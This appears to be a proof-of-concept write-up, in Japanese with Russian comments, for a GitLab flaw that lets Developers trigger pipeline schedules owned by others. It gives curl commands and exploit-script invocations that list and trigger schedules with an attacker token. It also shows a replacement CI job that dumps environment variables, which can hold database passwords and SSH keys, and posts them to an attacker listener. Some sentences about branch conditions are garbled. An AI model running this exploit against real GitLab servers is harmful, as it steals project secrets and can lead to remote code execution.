
CVE-2024-6678 用の PoC
CVE-2024-6678 の PoC
GitLab では、ユーザーは「Play」ボタンを使って CI/CD パイプラインのスケジュール(Pipeline Schedules)を手動で起動できます。この脆弱性は、「play」機能がDeveloper 権限を持つすべてのユーザー(スケジュールの所有者だけでなく)にスケジュールの起動を許可することです。これにより、次の 2 つの結果が生じます:
最終的な影響は、スケジュール変数に何が保存されているかによって異なります。例えば、DB_PASSWORD 変数があればデータベースの完全なダンプが可能になり、SSH_PRIVATE_KEY があれば RCE が可能になります。
develop、staging)を対象としていること。または、プロジェクト内に短い形式の ref(bypass)を持つスケジュールが存在すること重要: 保護されたブランチ(例:保護が有効な場合の
refs/heads/main)のスケジュールは、PipelineSchedulePolicy#protected_refポリシーによってブロックされ、HTTP 403 を返します。この攻撃は保護されていないブランチに対して機能します。実際、そのようなブランチでは、本番の認証情報を使用したインテグレーション用・ステージング用スケジュールがよく作成されます。
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules" \
| python3 -m json.tool
より特権を持つユーザー(Maintainer/Owner)が所有するスケジュールを見つけます。
curl -s -X POST \
-H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules/SCHEDULE_ID/play"
想定される応答: HTTP 201 — パイプラインがキューに追加されました。
パイプラインは攻撃者の名前で(current_user)作成されますが、スケジュールのすべての変数(所有者が設定した API キー、トークン、認証情報が含まれる可能性があります)を保持します。
HTTP 500 "Unable to schedule pipeline run immediately" — 想定される動作です。これは Sidekiq の重複排除(
deduplicate :until_executed)です。このスケジュールのジョブは、以前の成功した起動からすでにキューに存在しています。つまり、攻撃は以前にすでに成功しており、ジョブは実行を待っています。
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipelines?source=schedule&per_page=5" \
| python3 -m json.tool | grep -E '"id"|"status"|"username"'
# Базовый запуск: автовыбор расписания
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42
# Указать конкретное расписание
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--schedule-id 7
# Через GraphQL (требует --project-path)
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--graphql \
--project-path "mygroup/myrepo"
# Проверить legacy-ref bypass
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--exploit-mode


PoC はトリガー前に、develop の .gitlab-ci.yml を次のように置き換えます: stages: [exfil] dump_vars: stage: exfil script: - env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-
これらはすべて、あなたのリスナーに送信されます。
